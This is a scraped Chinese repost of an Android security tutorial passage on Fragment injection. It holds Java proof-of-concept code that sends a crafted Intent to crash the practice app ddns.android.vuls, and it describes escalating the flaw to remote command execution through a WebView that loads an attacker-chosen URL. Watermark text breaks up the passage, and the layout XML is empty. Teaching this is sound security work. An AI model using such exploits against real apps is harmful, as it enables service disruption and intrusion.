首页 > 社交 > 科普中国

关于Android

常驻编辑 科普中国 2022-09-25 漏洞   生命周期   函数   组件   布局   加载   界面   参数   代码   方法

ServerReorderFragment没有对畸形消息进行处理,导致拒绝服务,攻击EXP,如下:8fJ拜客生活常识网

  • MainActivity.java 代码:
package com.example.testpoc4;

import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.Toast;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        // 获取控件id
        Button button1 = findViewById(R.id.button);
        // 监听点击事件
        button1.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                // 要执行的操作
                Intent intent=new Intent();
                intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
                //包名 包名+类名(全路径)
                intent.setClassName("ddns.android.vuls", "ddns.android.vuls.activities.Activity.FragmentActivity");
                intent.putExtra(":android:show_fragment","BaoBaoBaoBaoBaoBao");
                startActivity(intent);
                //成功Dos后的提示
                Toast.makeText(MainActivity.this,"Dos攻击ddns.android.vuls应用", Toast.LENGTH_SHORT).show();
                Log.d("拒绝服务攻击:","ddns.android.vuls 应用被Dos攻击");
            }
        });
    }
}
  • activity_main.xml 代码:
<?xml version="1.0" encoding="utf-8"?>


    

    

效果如下:8fJ拜客生活常识网

8fJ拜客生活常识网


8fJ拜客生活常识网

8fJ拜客生活常识网

0x04 Android Fragment之远程命令执行

由于现在很多组件都是基于Webview来展示页面,并且Fragment组件应用越来越广,以后将会有越来越多的Webview组件是基于Fragment来展示。由于Fragment注入漏洞可以加载app内任意未导出组件,如果基于Fragment的Webview组件存在addJavascriptInterface漏洞,将会导致远程命令执行漏洞。大家可以在市面上老的APP里找下,发现很多Webview组件基于Fragment,但是继承自PreferenceActivity的组件是不导出的。因此,下面将利用vuls.apk来做验证可行性,当然同学你可以自己写个demo来做尝试,下面测试的环境是在Android 4.4中进行的8fJ拜客生活常识网

ddns.android.vuls.activities.Activity.FragmentActivity组件对外导出,并继承自PreferenceActivity:8fJ拜客生活常识网


8fJ拜客生活常识网

8fJ拜客生活常识网

WebviewFragment导出JavaScript接口,并加载URL(在 vuls 中有以下的 Fragment)。如下攻击场景中可让Fragment加载指定的网页:8fJ拜客生活常识网

public class TargetFragment extends Fragment {

    public TargetFragment() {
        Log.e("DDNS: ", "TargetFragment's constructor");
    }

    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
    }

    @Override
    public View onCreateView(LayoutInflater inflater, ViewGroup container,
                             Bundle savedInstanceState) {
        View view = inflater.inflate(R.layout.fragment_target,null);
        WebView webview = (WebView) view.findViewById(R.id.webview_fragment);
        webview.getSettings().setJavaScriptEnabled(true);
        webview.loadUrl(getActivity().getIntent().getDataString());
        return view;
    }

}
    

相关阅读:

  • 不锈钢水槽漏洞怎么补
  • 用卢布买天然气存“漏洞”?企业竟可“绕开”制裁购买俄
  • 经过两个交易日之后,金州勇士目前的阵容名单如何?有什么
  • 对于疫情在极短时间内复现的新情况,要快上加快,堵上漏洞
  • 满是漏洞!电商平台;帮;未成年无限制游戏代充
  • 事以密成!高手表面人畜无害,实则鹰视狼顾
  • 直面问题
  • 什么是CSRF
  • 常见安全漏洞修复方法
  • 储户近200万巨款存入交通银行不翼而飞 人脸识别漏洞成
    • 网站地图 |
    • 声明:登载此文出于传递更多信息之目的,并不意味着赞同其观点或证实其描述。文章内容仅供参考,不做权威认证,如若验证其真实性,请咨询相关权威专业人士。